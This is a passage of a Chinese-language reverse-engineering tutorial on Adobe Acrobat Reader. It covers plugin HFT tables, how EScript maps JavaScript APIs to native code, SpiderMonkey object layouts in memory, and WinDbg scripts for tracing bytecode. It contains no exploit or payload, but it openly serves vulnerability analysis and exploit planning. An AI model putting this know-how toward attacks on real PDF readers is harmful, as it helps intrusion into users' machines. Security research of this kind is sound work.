PIPROC(ASBool, IsPDDocAcroForm, (PDDoc doc), doc)
PIPROC(void, AFPDDocLoadPDFields, (PDDoc doc), doc)
PIPROC(void, AFPDDocEnumPDFields, (PDDoc doc, ASBool terminals, ASBool parameterIgnored, AFPDFieldEnumProc proc, void *clientData),doc, terminals, parameterIgnored, proc, clientData)
-------------------------------------------------
**1.3.4 EScript HFT**
EScript HFT并没有包含在Acrobat SDK中，也就是无法重命名回调函数。
这里之所以介绍它是因为他代表了一类特殊的情况——某些HFT表可能既在AcroRd32.dll中存在，又在Plugin中存在，会发生冲突。
这里我在加载完EScript.api后再次打印所有的HFT表，部分结果如下所示。
------------------------------------
0889f890 000010b5 64edc6b0
088d0f00 "ESHFT"
------------------------------------
0889f7a0 000010b6 64edcdc0
088d0ed0 "WebLink"
------------------------------------
0889f9a8 000010b7 64f47240
088ead10 "WebLinkPriv"
------------------------------------
0889fbd8 000010be 6515b270
088cf710 "EFSInfo"
0889fde0 000010c1 64f82950
088cf920 "Updater"
------------------------------------
0889fd68 000010c2 64f51680
088eaff8 "PrivPubSecHFT"
------------------------------------
08d7ae98 04f911e7 64b921a0
0888beb8 "$ESHFT"
可以看到，在上面的结果中，第一个是ESHFT表，最后一个是$ESHFT表，这种情况的出现是因为ESHFT表是在Arcobat主程序（也就是AcroRd32.dll中的），而$ESHFT表则是在Plugin
EScript.api中的。
跟进获取ESHFT表的回调函数0x64edc6b0（属于AcroRd32.dll）和$ESHFT表的回调函数0x64b921a0（属于EScript.api），对比效果如下图所示。
**1.3.5 Search HFT**
这里之所以介绍Search HFT，是因为它代表了另一种情况——一个Plugin可能不会被加载。
如果一个Plugin没有被加载，它的HFT表怎么获取呢？
1) 首先在Plugin的导出函数PluginMain中得到PISetupSDK函数。
2) 然后再PISetupSDK函数中得到handShake函数。
3) 在handShake中，找到导出HFT的代码。
4）导出HFT的代码不同插件实现可能不同，关键就是在汇编层面找”push
函数地址”这样的形式，针对这样形式的push指令，每一个函数地址都跟进去看一下，经验足够的话是很容易判断出最终的HFT表的。
接下来用Search Plugin和EScript Plugin来实际演示一下过程。
先看EScript Plugin对应的HFT的静态查找过程。
再来看看Search Plugin对应的HFT表的静态查找过程（图在下一页）。
### 1.4 结束语
在Acrobat SDK的文档中，提到了Acrobat core API的概念。
Acrobat core API的架构如下。
可以看出，所谓的Acrobat core API就是上一节提到的HFT概念。上图架构中的各个组件在Acrobat SDK中对应的头文件如下表所示。
Acrobat Viewer —————— Acrobat SDK中以AV为前缀的文件，HFT在AVProcs.h中声明
Acrobat Support —————— Acrobat SDK中以AS为前缀的文件，HFT在ASProcs.h中声明
COS —————— Acrobat SDK中以Cos为前缀的文件，HFT在CosProcs.h中声明
PDSEdit —————— Acrobat SDK中以PDS为前缀的文件，HFT在PDSReadProcs.h和PDSWriteProcs.h中声明
Portable Document —————— Acrobat SDK中以PD为前缀的文件，HFT在PDProcs.h中声明
到这里，动态查找各个HFT和静态查找各个Plugin的HFT都已经介绍完毕，通过找到的HFT以及Acrobat
SDK中的头文件，是可以将大量关键的函数进行重命名的，从而帮助快速漏洞分析、漏洞可行性的判断以及漏洞利用方案的编写等等。
## 2\. Acrobat的Javascript机制
Acrobat SDK的文档中明确说明了最新的Acrobat Reader使用的Javascript引擎是基于SpiderMonkey 24.2。
SpiderMonkey
24.2是一个稳定发行版本，源码可以在http://ftp.mozilla.org/pub/spidermonkey/releases/下载。
首先介绍一下怎么找到Javascript层的api对应的Native层的实现，这点不是必需的，但是能有效地辅助调试。
### 2.1 查找Javascript层的api对应的Native实现
对于大部分Javascript层的api,直接在EScript.api模块中搜索对应的属性名称或者方法名称，再利用IDA的交叉引用即可找到对应的Native实现，比如下图的app.alert。
再比如，this.addScript如下图所示（在Acrobat
Reader中，全局作用域中this指代的是当前打开的pdf文档——一个Doc对象，所以this.addScript本质上是Doc::addScript）。
但是，某些Javascript层的api不在EScript.api模块中实现，而是在其他模块中实现，这种时候对应的属性名称或者方法名称既在EScript.api模块中会出现，也会在其他模块中出现。
比如app.media对象的所有属性和方法对应的Native实现都不在EScript.api模块中（虽然app对象是），而是在Multimedia.api模块中。
现在在EScript.api中搜索一下app.media的方法alertFileNotFound，结果如下所示。
可以看到，无法在EScript.api中找到app.media对象的属性和方法对应的Native实现，但是EScript.api明显以特定的结构保存了app.media对象的相关信息。
再在Multimedia.api模块中搜索一下alertFileNotFound，如下图所示。
注意，通过这种方法找Javascript
api对应的Native实现不是取巧，是由实现机制得到的（这里的实现机制包括SpiderMonkey本身实现的Javascript调用Native函数机制和Adobe在这个机制的基础上进一步实现了自己的机制，这里不适合展开，后续内容会涉及这部分内容）。
掌握了该方法后，就可以根据Acrobat SDK中的Javascript
API重命名各个对象属性和方法的Native实现，进一步达到识别符号的目的，也方便调试时下断点。
### 2.2 SpiderMonkey关键结构
虽然用SpiderMonkey本身来解释这些结构会更好(有pdb信息和源码)，但是因为Acrobat的EScript.api在最关键的JSObject对象做了一些修改，防止混淆以下所有内容都是展示EScript的结果。
这部分结内容可以先大致看一下，掌握了后续内容后再回过头阅读。
因为在自己调试实验的时候需要有一个出发点，而这个出发点在后续小节里才涉及。
**2.2.1 Value结构体**
Javascript是无类型语言，但是这只是语言层面而言，在底层一定是要有和类型相关的信息的，Value结构体的功能就是如此（可以参考vbs的variant类型）。
一个Value结构体占8个字节，除了double和超过32位大小的整数，其他类型都是高4字节用于保存类型，低4字节保存值或者实际对象的指针，类型的值对应的类型如下所示。
JS_ENUM_HEADER(JSValueType, uint8_t)
{
JSVAL_TYPE_DOUBLE = 0x00,
JSVAL_TYPE_INT32 = 0x01,
JSVAL_TYPE_UNDEFINED = 0x02,
JSVAL_TYPE_BOOLEAN = 0x03,
JSVAL_TYPE_MAGIC = 0x04,
JSVAL_TYPE_STRING = 0x05,
JSVAL_TYPE_NULL = 0x06,
JSVAL_TYPE_OBJECT = 0x07,
/* These never appear in a jsval; they are only provided as an out-of-band value. */
JSVAL_TYPE_UNKNOWN = 0x20,
JSVAL_TYPE_MISSING = 0x21
} JS_ENUM_FOOTER(JSValueType);
比如对于下面的Javascript代码
this["0"] = 0x5
this["1"] = 0x100000000
this["2"] = 3.14
this["3"] = undefined
this["4"] = false
this["5"] = true
this["6"] = null
this["7"] = "str1"
this["8"] = {}
this["9"] = function() {app.alert("in function");}
app.alert("end");
底层表示如下所示。
**2.2.2 String对象**
String对象的第1个4字节由字符串字符长度（不是字节长度）和flag组成（低4位用于保存flag，其余位用于保存字符串字符长度）。
为了提高字符串的处理效率，String对象又细分成不同类型，由flag决定，flag的值和字符串的类型如下所示。
* Rope 0000 0000
* Linear - !0000
* HasBase - xxx1
* Dependent 0001 0001
* Flat - isLinear && !isDependent
* Undepended 0011 0011
* Extensible 0010 0010
* Inline 0100 isFlat && !isExtensible && (u1.chars == inlineStorage) || isInt32)
* Stable 0100 isFlat && !isExtensible && (u1.chars != inlineStorage)
* Short 0100 header in FINALIZE_SHORT_STRING arena
* External 0100 header in FINALIZE_EXTERNAL_STRING arena
* Int32 0110 x110 (NYI, Bug 654190)
* Atom 1000 1xxx
* InlineAtom 1000 1000 && is Inline
* ShortAtom 1000 1000 && is Short
Int32Atom 1110 1110 (NYI, Bug 654190)
不过这里只介绍最常见的一种——Atom字符串，也就是flag为0x8。
对于2.2.1节中的代码
this["7"] = "str1"
实际的存储如下所示。
这里需要注意一点，一个String对象至少占32个字节，除了头8个字节，剩余的内存是用来直接保存长度比较小的字符串，这样可以提高内存的使用效率。
如果字符串的长度过长，剩余的内存则不使用，第2个4字节指向实际的字符串，如下图所示。
**2.2.3 JSObject**
JSObject对应的是Javascript层的Object概念。
这个结构涉及的概念有点多，也是需要重点消化的对象，因为接下来的function、Array、Map、Set等都建立在JSObject的基础上。
首先我们从一个空的Object开始来研究JSObject。
**2.2.3.1 空Object对应的JSObject**
对于以下代码（this.dummy1和this.dummy2是为了直观地确认emptyObject的存在，可以忽略）
this.dummy1 = 255
this.emptyObject = {}
this.dummy2 = 255
首先this.emptyObject的值是一个空的Object，Native层的表示如下。
**2.2.3.2 Shape对象**
从上面的一些图中应该可以看到SpiderMonkey引擎在添加新的属性时，属性的值是按照顺序在内存中存放的（以一个Value结构体为单位）,那么一定是需要一个中间的媒介，来保存属性的名称以及属性的值的对应关系，从而通过属性（字符串）找到对应的Value。
Shape对象就是这个中间的媒介，Shape的逻辑如下图所示。
① 每一个Shape对象保存了id和slot索引，通过对比id来进行所谓的查找属性，id一致后就可以根据对应的slot索引得到属性的值。
② 一个JSObject的第一个成员指向Shape单链表的最后一个元素。
③ 单链表的最后一个Shape对象可能会指向一个哈希表。
④ 查找属性的时候，先通过id尝试在哈希表里直接获取对应的Shape（如果有哈希表的话）。
⑤ 如果没有找到或者哈希表不存在，则通过遍历单链表，然后对比id来查找Shape。
⑥ 如果找到了Shape，则根据Shape中的slot索引获取属性的值。
实际演示，对于如下代码
this.dummy1 = 255
this.emptyObject = {}
this.dummy2 = 255
this.emptyObject.mem1 = "mem1"
this.emptyObject.mem2 = "mem2"
this.emptyObject.mem3 = "mem3"
this.emptyObject.mem4 = "mem4"
this.emptyObject.mem5 = "mem5"
在内存中的实际关系如下图所示。
上图中出现了一个新的概念——fixed slots，fixed
slots是紧跟在JSObject（或者JSObject的子类）后面的固定大小的slot数组，主要用于优化，给一个对象添加属性时，会先填充fixed
slots，fixed slots用完后才会使用单独的slots（JSObject偏移量+0x8指向的slot数组）。
理解上图可能需要配合前面的Shape对象的逻辑图。
调试时，为了方便，可以使用如下windbg 脚本命令，@$t0寄存器代表的是JSObject的起始地址。
r @$t0 = 0x08067b68 ;
r @$t1 = poi(@$t0) ;
r @$t2 = poi(@$t0 + 0x8 );
r @$t8 = poi(@$t1 + 0x10);
.for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
在该例子中，运行后的效果如下所示。
0:000> r @$t0 = 0x08067b68 ;
0:000> r @$t1 = poi(@$t0) ;
0:000> r @$t2 = poi(@$t0 + 0x8 );
0:000> r @$t8 = poi(@$t1 + 0x10);
0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
07e3c1c8 "mem5"
$t4=00000004 $t5=00000004
0efda218 07e3c1c0 ffffff85
--------------------
07e3c1a8 "mem4"
$t4=00000004 $t5=00000003
08067b98 07e3c1a0 ffffff85
--------------------
07e3c188 "mem3"
$t4=00000004 $t5=00000002
08067b90 07e3c180 ffffff85
--------------------
07e3c168 "mem2"
$t4=00000004 $t5=00000001
08067b88 07e3c160 ffffff85
--------------------
07e3c148 "mem1"
$t4=00000004 $t5=00000000
08067b80 07e3c140 ffffff85
--------------------
打印的结果中，第1行是属性的名称，第2行是fixed slots的个数和Shape对应的slot索引，第3行是属性的值。
**2.2.3.3 TypeObject对象**
TypeObject有2个关键成员，第1个是clasp——可以用来判断一个Object所属类型；第2个是proto——Javascript中的prototype概念的实现。
proto在查找对象属性的时候会用到，如果当前JSObject的Shape单链表中没有找到属性，则会在proto的Shape单链表继续查找，依次类推。
对于如下代码
this.dummy1 = 255
this.proto = {}
this.emptyObject = {}
this.dummy2 = 255
this.proto.mem1 = "proto"
this.emptyObject.__proto__ = this.proto
TypeObject演示如下。
**2.2.4 JSFunction和JSScript**
JSFunction对应的是Javascript层function的概念。
一个JSFcuntion要么封装了一个Native函数，要么封装了一个JSScript，JSScript包含了一个function对应的各种信息（比如最关键的字节码）。
对于代码
this.dummy1 = 255
function test() {app.alert("in function test");}
this.dummy2 = 255
JSFunction的逻辑如下所示。
可以看到JSFunction最关键的就是偏移0x1c处的4字节和0x24处的4字节。
0x24处的4字节指向一个Atom字符串，该字符串表示function的名称，注意这里的”test”和打印this的属性时的字符串”test”含义是不一样的，打印this的属性时的字符串”test”表示的是this对象的属性名称，这个属性不一定是”test”，但是function的名称确定后就不会变了。
0x1c处的4字节要么是一个Native函数的地址（如果JSFunction封装的是Native函数的话），要么指向一个JSScript对象(调用函数的话相应的字节码会被解释执行)。
接下来看看JSScript对象的逻辑。
可以看到JSScript的关键点在偏移0xC处的4字节和偏移0x24字节处的4字节。
偏移0xC处的4字节指向对应的function的字节码起始处。
偏移0x24处的4字节指向一个ScriptSourceObject对象(继承自JSObject),而ScriptSourceObject的fixed
slots中的第1个是ScriptSource对象，ScriptSourceObject也就是简单地封装了一下ScriptSource对象。
ScriptSource对象包含了对应function的Javascript源码和源码所在的文件名。
JSScript可以用来在调试过程中辅助判断某个对象。
**2.2.5 Array对象**
Array对象是基于JSObject的，对于如下代码
this.dummy1 = 255
this.arr = Array(255, "elem2", 255)
this.arr.push({})
this.dummy2 = 255
this.arr的实际存储形式如下。
从上图可以看出，Array对象的所有元素都存储在elements中，不存在slots。
### 2.2.6 Map对象
Map对象也是基于JSObject，不过涉及到Hash，所以稍微复杂一些。
对于如下代码
this.dummy1 = 255
this.map = new Map()
this.map.set("key1", "value1")
this.map.set("key2", "value2")
this.map.set("key3", "value3")
this.dummy2 = 255
this.map的实际存储形式如下。
从上图中可以看到，一个Map对象在fixed slots后有一个指向Ordered HashTable的指针。
在Ordered HashTable中，有length和capacity的值，同时还有一个指向entries的指针。
在entries中，key和value相邻并以Value结构体的形式存在。
**2.2.7 Set对象**
Set对象和Map对象很类似，而且都是基于Ordered HashTable。
对于代码
this.dummy1 = 255
this.set = new Set()
this.set.add("value1")
this.set.add("value2")
this.set.add("value3")
this.dummy2 = 255
this.set的实际存储形式如下。
可以看到Set对象的存储形式和Map对象差不多，只是在最后存储Value结构体时逻辑不一样。
**2.2.8 FrameRegs和StackFrame**
FrameRegs和StackFrame是SpiderMonkey的解释器解释执行字节码时需要的2个最关键的结构，它们都是Interpret函数中频繁使用到的变量。
FrameRegs结构包含3个成员，依次是sp_、pc_和fp_。
sp_成员模拟esp(rsp)寄存器，pc_成员模拟eip(rip)寄存器，fp_成员模拟ebp(rbp)寄存器。
sp_永远指向栈顶，pc_一开始指向字节码的起始地址，在解释执行的过程中会指向下一个字节码，fp_指向的是一个StackFrame结构体。
StackFrame保存了当前的作用域、局部变量、当前的脚本、this、arguments和callee等关键信息。
整体逻辑如下所示。
其中最关键的就是sp_和fp_，这2个能够大大提高调试Javascript的速度。
通过sp_可以在特定代码执行后快速获取某些Javascript变量的值。
通过fp_则可以得到this对象，再结合之前的打印JSObject对象所有属性的windbg脚本命令，可以查看所有相关的属性的值，如果this对象是全局变量，还可以将该this值保存起来，无论什么时候都可以顺藤摸瓜查看所有变量的值。
而且fp_指向的StackFrame末尾（StackFrame大小0x48字节）开始依次保存局部变量的值（局部变量在编译阶段已经被分配了特定的索引，所以在运行时不存在变量的名称等信息）。
### 2.3 实战
在大致了解了2.2节中的各个关键结构后，接下来就是在调试中不断熟悉，形成自己的调试经验。
**2.3.1 准备pdf**
实战的前提是能够随意构造嵌有js代码的pdf文件，Acrobat Pro版可以做到，PDF-XChange-Editor也可以，当然通过一些开源的工具也行。
Acrobat Pro要收费，PDF-XChange-Editor可以免费使用，不过生成的pdf有水印。
接下来使用的pdf均是通过PDF-XChange-Editor生成的（在菜单栏的Form菜单可以添加Javascript）。
### 2.3.2 windbg加载Acrobat Reader
windbg加载Acrobat Reader（勾选Debug Child Process Also选项），中断到调试器就输入g命令运行，一直到Acrobat
Reader可以交互。
crtl+break或者alt+delete强行中断到windbg，输入lmm escript查看EScript.api模块的基地址。
如果EScript.api模块还没有加载，说明Acrobat启动的代码还没执行完，输入g命令继续运行，等一会儿再重复相同操作。
0:034> lmm escript
Browse full module list
start end module name
64b90000 64e5f000 EScript (deferred)
IDA加载EScript.api，并重定向基地址为实际的地址。
**2.3.3 查找Interpret——解释执行pcode(字节码)的函数**
不只是对于Acrobat
Reader中的SpiderMonkey引擎，研究所有解释执行类的语言找这个函数都是最关键的，因为这里是代码产生实际效果的过程，跟踪这些过程可以摸清楚各种关键结构和关键机制。
针对SpiderMonkey 24.2，查找该函数有2种快捷方法。
1) 直接在IDA中搜索文本“switch 230 cases”，得到的结果就在Interpret函数中。
2)
在字符串窗口找到字符串”js::RunScript”，然后通过交叉引用进入到引用该字符串的函数，再通过交叉引用退回到上一层函数，该函数就是js::RunScript。
然后在js::RunScript函数中定位到Interpret函数。
找到Interpret后，在Interpret函数找到核心switch（循环解释执行字节码的地方），然后根据IDA中的地址在windbg相应地址处下断点，然后输入g命令直接运行。
到这里，通过Acrobat Reader的打开文件功能打开带有Javascript代码的pdf文件就会触发断点。
接下来会分别介绍细粒度调试和快速调试2种方式，可以根据兴趣阅读。
细粒度调试就是以字节码甚至以汇编语言为单位一步步跟踪Javascript代码产生的效果。
快速调试就是以Javascript语句为单位跟踪Javascript代码产生的效果。
**2.3.4 细粒度调试Javascript代码**
1) 在PDF-XChange-Editor中生成带有如下javascript代码的pdf文档。
2) 然后使用Acrobat Reader打开生成的pdf文档，触发断点，如下图所示。
到这里，首先在IDA中查看FrameRegs(2.2.8节介绍的)，如下图所示。
从上图的推测结果可以看到，ebp-0x30处的12字节是FrameRegs，[ebp-0x30]指向临时堆栈，[ebp-0x2C]指向当前字节码，[ebp-0x28]指向StackFrame。
3) 通过StackFrame（[ebp-0x28]）获取this指针（在这次实验中this代表的是Doc对象），如下图所示。
4) 将值0xbd29740替换2.2.3.2节中的Windbg脚本命令中的@$t0寄存器，运行后就可以查看this（Doc对象）当前的所有属性。
可以把this值临时保存到记事本或者其他其他文本中，然后在调试的任何时候都可以配合2.2.3.2中的windbg脚本命令查看Doc对象的属性，然后顺藤摸瓜查看Javascript代码中的所有变量的值。
Windbg脚本命令运行结果如下所示（为了篇幅把中间大部分内容省了）。
0:000> r @$t0 = 0xbd29740 ;
0:000> r @$t1 = poi(@$t0) ;
0:000> r @$t2 = poi(@$t0 + 0x8 );
0:000> r @$t8 = poi(@$t1 + 0x10);
0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
0c6e1c50 "rightsManagement"
$t4=00000001 $t5=000000b9
0bcc8e28 00000000 ffffff82
--------------------
0b994ae8 "encryptUsingPolicy"
$t4=00000001 $t5=000000b8
0bcc8e20 0bd1e5d8 ffffff87
--------------------
0a8377c8 "layout"
$t4=00000001 $t5=00000002
0bcc8870 00000000 ffffff82
--------------------
0a815528 "info"
$t4=00000001 $t5=00000001
0bcc8868 00000000 ffffff82
--------------------
0a81c4a8 "hidden"
$t4=00000001 $t5=00000000
0bd29758 00000000 ffffff82
--------------------
5) 获取并保存了this后，接下来跟踪字节码的执行。
查看pc_([ebp-0x2C])指向的字节码，跟踪字节码的执行的步骤如下所示。
解释:
如果要一步步跟踪字节码的执行过程，首先通过[ebp-0x2C]得到当前的字节码，将16进制字节码换算成10进制，再在SpiderMonkey源码中的jsopcode.tbl查看对应的字节码的名称，根据字节码名称在SpiderMonkey源码中的Interpreter.cpp中查看对应字节码的处理流程。
以当前实验中的第一条语句this[“0”] = 0x5为示例。
①
通过[ebp-0x2C]发现当前字节码是0x41(65)，查询后发现是JSOP_THIS,windbg中直接输入g命令解释执行该字节码，准备执行下一个字节码的时候调试器又触发断点，此时通过[ebp-0x30]查看sp_指向的临时堆栈的栈顶。
可以看到，JSOP_THIS字节码执行完后，FrameRegs中的sp_指向的临时栈栈顶已经保存了this的值。
②
通过[ebp-0x2C]发现当前字节码是0x3e(62)，查询后发现是JSOP_ZERO,windbg中直接输入g命令解释执行该字节码，准备执行下一个字节码的时候调试器又触发断点，此时通过[ebp-0x30]查看临时栈栈顶。
0:000> dd poi(@ebp-0x30)-0x8
0b9e5e28 00000000 ffffff81
可以看到，JSOP_ZERO字节码执行完后，FrameRegs中的sp_指向的临时栈栈顶已经保存了整数0。
③
通过[ebp-0x2C]发现当前字节码是0xd7(215)，查询后发现是JSOP_INT8,windbg直接输入g命令解释执行该字节码，准备执行下一个字节码的时候调试器又触发断点，此时通过[ebp-0x30]查看临时栈栈顶。
0:000> dd poi(@ebp-0x30)-0x8
0b9e5e30 00000005 ffffff81
可以看到，JSOP_INT8字节码执行完后，FrameRegs中的sp_指向的临时栈栈顶已经保存了整数0x5。
④
通过[ebp-0x2C]发现当前字节码是0x38(56)，查询后发现是JSOP_SETELEM，windbg直接输入g命令执行解释该字节码，准备执行下一个字节码的时候调试器又触发断点，此时运行之前保存的打印this的所有属性的windbg脚本命令，结果如下（省略了大部分结果）。
0:000> r @$t0 = 0xbd29740 ;
0:000> r @$t1 = poi(@$t0) ;
0:000> r @$t2 = poi(@$t0 + 0x8 );
0:000> r @$t8 = poi(@$t1 + 0x10);
0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
Memory access error at '); r @$t9 = 0xaa'
$t4=00000001 $t5=000000ba
0bcc8e30 00000005 ffffff81
--------------------
0c6e1c50 "rightsManagement"
$t4=00000001 $t5=000000b9
0bcc8e28 00000000 ffffff82
--------------------
0b994ae8 "encryptUsingPolicy"
$t4=00000001 $t5=000000b8
0bcc8e20 0bd1e5d8 ffffff87
--------------------
可以看到this(Doc对象)新增了一个属性，打印的第一个属性id是0x1，属性的值是整数0x5。
注意这里属性的id不在是字符串的地址，而是0x1，右移1位后的结果0x0代表的就是索引（最低位的0x1表示这个不是字符串地址，因为地址最低位肯定为0x0）。
到这里，Javascript代码this[“0”] = 0x5对应的字节码执行完毕，跟踪其他的语句对应的字节码的步骤类似。
**2.3.5 快速调试Javascript代码**
快速调试代码主要利用了提前保存的Doc对象（因为它在整个pdf的Javascritp代码执行过程中一直存在并且地址保持不变）和app.alert弹窗（根据个人喜好可以选择其他的）。
1) 首先使用PDF-XChange-Editor生成一个带有如下Javascript代码的pdf文档，注意在感兴趣的地方插入app.alert来快速跳过某些字节码的解释执行。
2) Acrobat Reader打开生成的pdf，触发断点，如下所示。
到这里，首先在IDA中查看FrameRegs(2.2.8节介绍的)，如下图所示。
从上图的推测结果可以看到，ebp-0x30处的12字节是FrameRegs，[ebp-0x30]指向临时堆栈，[ebp-0x2C]指向当前字节码，[ebp-0x28]指向StackFrame。
3) 通过StackFrame（[ebp-0x28]）获取this指针（在这次实验中this代表的是Doc对象），如下图所示。
4) 将值0xbd29a38替换2.2.3.2节中的Windbg脚本命令中的@$t0寄存器，运行后就可以查看this（Doc对象）当前的所有属性。
可以把this值临时保存到记事本或者其他其他文本中，然后在调试的任何时候都可以配合2.2.3.2中的windbg脚本命令查看Doc对象的属性，然后顺藤摸瓜查看Javascript代码中的所有变量的值。
Windbg脚本命令运行结果如下所示（为了篇幅把中间大部分内容省了）。
0:000> r @$t0 = 0xbd29a38 ;
0:000> r @$t1 = poi(@$t0) ;
0:000> r @$t2 = poi(@$t0 + 0x8 );
0:000> r @$t8 = poi(@$t1 + 0x10);
0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
0a83c788 "removeLinks"
$t4=00000001 $t5=000000b8
0b8ec920 0bd24ab0 ffffff87
--------------------
0a83c768 "getLinks"
$t4=00000001 $t5=000000b7
0b8ec918 0bd24a88 ffffff87
--------------------
0a81c4a8 "hidden"
$t4=00000001 $t5=00000000
0bd29a50 00000000 ffffff82
--------------------
5) 获取this并保存后，接下来直接禁用断点，然后输入命令g运行，Acrobat Reader弹出对话框。
0:000> bl
0 e Disable Clear 64bc21bc 0001 (0001) 0:**** EScript!mozilla::HashBytes+0x2177c
0:000> bd 0
0:000> bl
0 d Enable Clear 64bc21bc 0001 (0001) 0:**** EScript!mozilla::HashBytes+0x2177c
0:000> g
(4b38.3950): C++ EH exception - code e06d7363 (first chance)
(4b38.3950): C++ EH exception - code e06d7363 (first chance)
6) 点击OK，弹出下一个对话框。
7)
此时可以知道app.alert(“1”)之前的Javascript代码对应的字节码肯定已经解释执行完毕，通过ctrl+break或者alt+delete强行中断到调试器。
8) 再次运行刚才运行过的Windbg脚本命令，结果如下。
0:003> r @$t0 = 0xbd29a38 ;
0:003> r @$t1 = poi(@$t0) ;
0:003> r @$t2 = poi(@$t0 + 0x8 );
0:003> r @$t8 = poi(@$t1 + 0x10);
0:003> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
Memory access error at '); r @$t9 = 0xaa'
$t3=00000009
$t4=00000001 $t5=000000bd
0b8ec948 00000000 ffffff83
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000007
$t4=00000001 $t5=000000bc
0b8ec940 00000000 ffffff82
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000005
$t4=00000001 $t5=000000bb
0b8ec938 51eb851f 40091eb8
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000003
$t4=00000001 $t5=000000ba
0b8ec930 00000000 41f00000
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000001
$t4=00000001 $t5=000000b9
0b8ec928 00000005 ffffff81
--------------------
0a83c788 "removeLinks"
$t4=00000001 $t5=000000b8
0b8ec920 0bd24ab0 ffffff87
--------------------
可以看到新增了几个属性，属性的id分别是9、7、5、3、1（属性的id右移1位的结果就是索引，比如这里分别对应索引4、3、2、1、0），值分别是false、undefined、3.14、0x100000000、0x5，和Javascript代码是一一对应的。
9) 输入命令g运行，再次点击对话框的OK，弹出下一个对话框。
10) 再次强行中断并运行Windbg脚本命令，结果如下。
0:001> r @$t0 = 0xbd29a38 ;
0:001> r @$t1 = poi(@$t0) ;
0:001> r @$t2 = poi(@$t0 + 0x8 );
0:001> r @$t8 = poi(@$t1 + 0x10);
0:001> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
Memory access error at '); r @$t9 = 0xaa'
$t3=0000000f
$t4=00000001 $t5=000000c0
0b8ec960 0a818ba0 ffffff85
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=0000000d
$t4=00000001 $t5=000000bf
0b8ec958 00000000 ffffff86
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=0000000b
$t4=00000001 $t5=000000be
0b8ec950 00000001 ffffff83
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000009
$t4=00000001 $t5=000000bd
0b8ec948 00000000 ffffff83
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000007
$t4=00000001 $t5=000000bc
0b8ec940 00000000 ffffff82
--------------------
Memory access error at '); r @$t9 = 0xaa'
